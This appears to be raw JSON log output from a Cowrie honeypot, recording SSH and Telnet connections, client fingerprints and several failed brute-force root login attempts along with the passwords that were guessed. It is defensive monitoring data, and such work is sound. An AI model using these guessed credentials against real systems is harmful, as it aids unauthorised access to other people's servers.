{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:25.568600Z","src_ip":"186.4.240.226","session":"187050de1372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.822325229644775,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:25.829696Z","src_ip":"192.119.13.58","session":"b83436d6686b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd@01","message":"login attempt [root/Passw0rd@01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:25.944473Z","src_ip":"186.4.240.226","session":"187050de1372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:27.033462Z","src_ip":"186.4.240.226","session":"187050de1372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53878,"dst_ip":"10.17.0.5","dst_port":23,"session":"2527e3a02f64","protocol":"telnet","message":"New connection: 192.119.13.58:53878 (10.17.0.5:23) [session: 2527e3a02f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:31.242981Z"}
{"eventid":"cowrie.session.closed","duration":53.47079157829285,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:34.128404Z","src_ip":"192.119.13.58","session":"6fec815b5df4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.90424180030823,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:38.252555Z","src_ip":"192.119.13.58","session":"c46e7862136e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56066,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dada57eed52","protocol":"telnet","message":"New connection: 192.119.13.58:56066 (10.17.0.5:23) [session: 3dada57eed52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:38.835627Z"}
{"eventid":"cowrie.session.closed","duration":37.227264404296875,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:43.799021Z","src_ip":"192.119.13.58","session":"db81f763f7e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34294,"dst_ip":"10.17.0.5","dst_port":23,"session":"a86871b98e12","protocol":"telnet","message":"New connection: 192.119.13.58:34294 (10.17.0.5:23) [session: a86871b98e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:15:55.213965Z"}
{"eventid":"cowrie.session.closed","duration":33.819939851760864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:05.062796Z","src_ip":"192.119.13.58","session":"2527e3a02f64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":42718,"dst_ip":"159.203.135.109","dst_port":22,"session":"641572f4b771","protocol":"ssh","message":"New connection: 170.106.188.200:42718 (159.203.135.109:22) [session: 641572f4b771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:06.701836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:06.706122Z","src_ip":"170.106.188.200","session":"641572f4b771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:06.778076Z","src_ip":"170.106.188.200","session":"641572f4b771","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server123","message":"login attempt [root/server123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:07.084260Z","src_ip":"170.106.188.200","session":"641572f4b771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:08.162111Z","src_ip":"170.106.188.200","session":"641572f4b771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.226699352264404,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:15.062197Z","src_ip":"192.119.13.58","session":"3dada57eed52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":47542,"dst_ip":"10.17.0.5","dst_port":22,"session":"9487f1376052","protocol":"ssh","message":"New connection: 176.32.39.21:47542 (10.17.0.5:22) [session: 9487f1376052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:23.377165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:23.385043Z","src_ip":"176.32.39.21","session":"9487f1376052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:23.508411Z","src_ip":"176.32.39.21","session":"9487f1376052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:23.870074Z","src_ip":"176.32.39.21","session":"9487f1376052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37546,"dst_ip":"10.17.0.5","dst_port":23,"session":"985944fbf97c","protocol":"telnet","message":"New connection: 192.119.13.58:37546 (10.17.0.5:23) [session: 985944fbf97c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:24.049251Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:24.996085Z","src_ip":"176.32.39.21","session":"9487f1376052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":44014,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3c4213379d1","protocol":"ssh","message":"New connection: 103.98.149.87:44014 (159.203.135.109:22) [session: c3c4213379d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:30.071144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:30.177800Z","src_ip":"103.98.149.87","session":"c3c4213379d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33386,"dst_ip":"10.17.0.5","dst_port":23,"session":"236987152c85","protocol":"telnet","message":"New connection: 192.119.13.58:33386 (10.17.0.5:23) [session: 236987152c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:30.183908Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:30.311856Z","src_ip":"103.98.149.87","session":"c3c4213379d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"moloko","message":"login attempt [root/moloko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:32.530622Z","src_ip":"103.98.149.87","session":"c3c4213379d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:33.926568Z","src_ip":"103.98.149.87","session":"c3c4213379d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.71657943725586,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:43.930425Z","src_ip":"192.119.13.58","session":"a86871b98e12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":59818,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eac81ece631","protocol":"ssh","message":"New connection: 186.4.240.226:59818 (159.203.135.109:22) [session: 1eac81ece631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:46.405617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:46.412135Z","src_ip":"186.4.240.226","session":"1eac81ece631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:46.497460Z","src_ip":"186.4.240.226","session":"1eac81ece631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty!@","message":"login attempt [root/qwerty!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:46.870500Z","src_ip":"186.4.240.226","session":"1eac81ece631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:47.959335Z","src_ip":"186.4.240.226","session":"1eac81ece631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":35064,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d59dc96c825","protocol":"ssh","message":"New connection: 103.101.216.219:35064 (159.203.135.109:22) [session: 4d59dc96c825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:48.031452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:48.036827Z","src_ip":"103.101.216.219","session":"4d59dc96c825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:48.280173Z","src_ip":"103.101.216.219","session":"4d59dc96c825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lupita","message":"login attempt [root/lupita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:49.286036Z","src_ip":"103.101.216.219","session":"4d59dc96c825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":45162,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bb4cda4f507","protocol":"ssh","message":"New connection: 103.183.114.55:45162 (159.203.135.109:22) [session: 8bb4cda4f507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:49.970433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:49.993389Z","src_ip":"103.183.114.55","session":"8bb4cda4f507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:50.287771Z","src_ip":"103.183.114.55","session":"8bb4cda4f507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:50.535841Z","src_ip":"103.101.216.219","session":"4d59dc96c825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:51.104987Z","src_ip":"103.183.114.55","session":"8bb4cda4f507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:52.332944Z","src_ip":"103.183.114.55","session":"8bb4cda4f507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39452,"dst_ip":"10.17.0.5","dst_port":23,"session":"01553c451e80","protocol":"telnet","message":"New connection: 192.119.13.58:39452 (10.17.0.5:23) [session: 01553c451e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:16:52.925730Z"}
{"eventid":"cowrie.session.closed","duration":39.593283891677856,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:03.642448Z","src_ip":"192.119.13.58","session":"985944fbf97c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57354,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed621d0d915a","protocol":"telnet","message":"New connection: 192.119.13.58:57354 (10.17.0.5:23) [session: ed621d0d915a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:04.794013Z"}
{"eventid":"cowrie.session.connect","src_ip":"219.78.63.235","src_port":35514,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f45e2b06227","protocol":"ssh","message":"New connection: 219.78.63.235:35514 (159.203.135.109:22) [session: 9f45e2b06227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:11.243746Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:11.249614Z","src_ip":"219.78.63.235","session":"9f45e2b06227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.830843448638916,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:13.014662Z","src_ip":"192.119.13.58","session":"236987152c85","protocol":"telnet"}
